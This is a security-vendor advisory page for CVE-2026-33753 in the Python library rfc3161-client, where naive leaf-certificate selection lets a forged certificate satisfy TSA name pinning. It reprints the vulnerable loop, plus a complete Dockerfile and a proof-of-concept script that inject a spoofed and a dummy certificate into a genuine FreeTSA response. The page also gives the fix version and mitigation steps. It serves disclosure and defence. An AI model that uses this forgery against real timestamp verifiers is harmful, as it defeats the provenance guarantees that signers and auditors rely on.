Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

GHSA-3xxc-pwj6-jgrj rfc3161-client

MEDIUMFix: trailofbits/rfc3161-client@4f7d372

GHSA-3xxc-pwj6-jgrj is a medium-severity (CVSS 6.2) CWE-295 vulnerability in rfc3161-client. A fix is available for rfc3161-client — see the affected versions and patch details below.

rfc3161-client Has Improper Certificate Validation

Also known asCVE-2026-33753PYSEC-2026-3051
Published
Apr 8, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-3xxc-pwj6-jgrj.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs9th percentile — riskier than 9% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-3xxc-pwj6-jgrj plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍rfc3161-client

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An Authorization Bypass vulnerability in rfc3161-client's signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target common_name and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely.

Details

The root cause lies in rfc3161_client.verify.Verifier._verify_leaf_certs(). The library attempts to locate the leaf certificate within the parsed TimeStampResponse PKCS#7 SignedData bag using a naive algorithm:

leaf_certificate_found = None
for cert in certs:
    if not [c for c in certs if c.issuer == cert.subject]:
        leaf_certificate_found = cert
        break

This loop erroneously assumes that the valid leaf certificate is simply the first certificate in the bag that does not issue any other certificate. It does not rely on checking the ESSCertID or ESSCertIDv2 cryptographic bindings specified in RFC 3161 (which binds the signature securely to the exact signer certificate).

An attacker can exploit this by:

  1. Acquiring a legitimate, authentic TimeStampResponse from any widely trusted public TSA (e.g., FreeTSA) that chains up to a Root CA trusted by the client.
  2. Generating a self-signed spoofed "proxy" certificate A with the exact Subject (e.g., CN=Intended Corporate TSA) and ExtendedKeyUsage (id-kp-timeStamping) required by the client's VerifierBuilder.
  3. Generating a dummy certificate D issued by the actual FreeTSA leaf certificate.
  4. Appending both A and D to the certificates list in the PKCS#7 SignedData of the TimeStampResponse.

When _verify_leaf_certs() executes, the dummy certificate D disqualifies the authentic FreeTSA leaf from being selected (because FreeTSA now technically "issues" D within the bag). The loop then evaluates the spoofed certificate A, realizes it issues nothing else in the bag, and selects it as leaf_certificate_found.

The library then processes the common_name and EKU checks exactly against A. Since A was explicitly forged to pass these checks, verification succeeds. Finally, the OpenSSL pkcs7_verify backend validates the actual cryptographic signature using the authentic FreeTSA certificate and trusted roots (ignoring the injected certs). The application wrongly trusts that the timestamp was granted by the pinned TSA.

PoC

The environment simulation and the PoC script have been included in the poc.py and Dockerfile artifacts:

Dockerfile (poc/Dockerfile):

FROM python:3.11-slim
RUN apt-get update && apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY . /app/rfc3161-client
RUN pip install cryptography requests asn1crypto
WORKDIR /app/rfc3161-client
RUN pip install .
COPY poc/poc.py /app/poc.py
WORKDIR /app
CMD ["python", "poc.py"]

The attack flow locally demonstrated in poc/poc.py:

import base64
import requests
from rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm
from rfc3161_client.verify import VerifierBuilder
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
import datetime
from asn1crypto import cms, tsp

def main():
    print("[*] Generating TimeStampRequest...")
    req_builder = TimestampRequestBuilder(
        data=b"hello world",
        hash_algorithm=HashAlgorithm.SHA256,
        cert_req=True
    )
    req = req_builder.build()
    
    print("[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...")
    resp = requests.post(
        "https://freetsa.org/tsr",
        data=req.as_bytes(),
        headers={"Content-Type": "application/timestamp-query"}
    )
    if resp.status_code != 200:
        print("[-] Failed to get TSA response. Is the network up?")
        return
        
    tsa_resp_bytes = resp.content
    
    print("[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...")
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COMMON_NAME, "Spoofed TSA"),
    ])
    
    # We create a self-signed spoofed certificate that meets all Python verification criteria
    cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        private_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow() - datetime.timedelta(days=1)
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=1)
    ).add_extension(
        x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]),
        critical=True,
    ).sign(private_key, hashes.SHA256())
    
    fake_cert_der = cert.public_bytes(serialization.Encoding.DER)
    
    print("[*] Parsing the authentic PKCS#7 SignedData bag of certificates...")
    tinfo = tsp.TimeStampResp.load(tsa_resp_bytes)
    status = tinfo['status']['status'].native
    if status != 'granted':
        print(f"[-] Status not granted: {status}")
        return
        
    content_info = tinfo['time_stamp_token']
    assert content_info['content_type'].native == 'signed_data'
    signed_data = content_info['content']
    
    certs = signed_data['certificates']
    
    from asn1crypto.x509 import Certificate
    fake_cert_asn1 = Certificate.load(fake_cert_der)
    
    real_leaf_asn1 = None
    for c in certs:
        c_subject = c.chosen['tbs_certificate']['subject']
        issues_something = False
        for oc in certs:
            if c == oc: continue
            oc_issuer = oc.chosen['tbs_certificate']['issuer']
            if c_subject == oc_issuer:
                issues_something = True
                break
        if not issues_something:
            real_leaf_asn1 = c
            break
            
    if real_leaf_asn1:
        print("[*] Found the genuine TS leaf certificate. Creating a 'dummy node' to disqualify it from the library's naive leaf discovery...")
        real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump())
        dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        dummy_cert = x509.CertificateBuilder().subject_name(
            x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Dummy Entity")])
        ).issuer_name(
            real_leaf_crypto.subject
        ).public_key(
            dummy_priv.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.utcnow() - datetime.timedelta(days=1)
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=1)
        ).sign(dummy_priv, hashes.SHA256()) 
        
        dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER))
        certs.append(dummy_cert_asn1)

    print("[*] Injecting the malicious spoofed proxy certificate into the response bag...")
    certs.append(fake_cert_asn1)
    
    malicious_resp_bytes = tinfo.dump()
    
    print("[*] Downloading FreeTSA Root Certificate Trust Anchor...")
    root_resp = requests.get("https://freetsa.org/files/cacert.pem")
    root_cert = x509.load_pem_x509_certificate(root_resp.content)
    # We must also download TSA.crt which acts as an intermediate for FreeTSA
    tsa_resp_cert = requests.get("https://freetsa.org/files/tsa.crt")
    tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content)
    
    print("[*] Initializing Verifier strictly pinning Common Name to 'Spoofed TSA'...")
    tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes)
    
    verifier = VerifierBuilder(
        common_name="Spoofed TSA",
        roots=[root_cert],
        intermediates=[tsa_cert_obj],
    ).build()

    print("[*] Attempting Verification...")
    try:
        verifier.verify_message(tsa_resp_obj, b"hello world")
        print("\n\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged 'Spoofed TSA' name due to Trust Boundary Confusion.\033[0m\n")
    except Exception as e:
        print("\n\033[91m[-] Verification failed:\033[0m", e)

if __name__ == '__main__':
    main()
  1. Requests a timestamp from https://freetsa.org/tsr.
  2. Generates a fake cert with common_name="Spoofed TSA" and ExtendedKeyUsage=TIME_STAMPING.
  3. Parses the authentic TS response, injects a dummy cert issued by FreeTSA's leaf.
  4. Injects the fake cert into the bag.
  5. Invokes decode_timestamp_response() on the malicious bytes.
  6. Runs VerifierBuilder(common_name="Spoofed TSA", ...).verify_message(malicious_resp, msg).
  7. Observes a successful verification bypassing the common_name constraint.

Impact

Vulnerability Type: Authorization Bypass / Improper Certificate Validation / Trust Boundary Confusion Impact: High. Applications relying on rfc3161-client to guarantee the origin of a timestamp via tsa_certificate or common_name pinning are completely exposed to impersonation. An attacker can forge the identity of the TSA as long as they hold any valid timestamp from a CA trusted by the Verifier.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIrfc3161-clientall versions1.0.6pip install --upgrade 'rfc3161-client==1.0.6'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rfc3161-client, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update rfc3161-client to 1.0.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3xxc-pwj6-jgrj is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-3xxc-pwj6-jgrj can be triaged on real exposure rather than presence alone.

Tailored to GHSA-3xxc-pwj6-jgrj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An Authorization Bypass vulnerability in `rfc3161-client`'s signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target `common_name` and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeT
O3 Security · Impact-Aware SCA

Is GHSA-3xxc-pwj6-jgrj in your dependencies?

O3 Security finds GHSA-3xxc-pwj6-jgrj across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-3xxc-pwj6-jgrj: rfc3161-client | O3 Security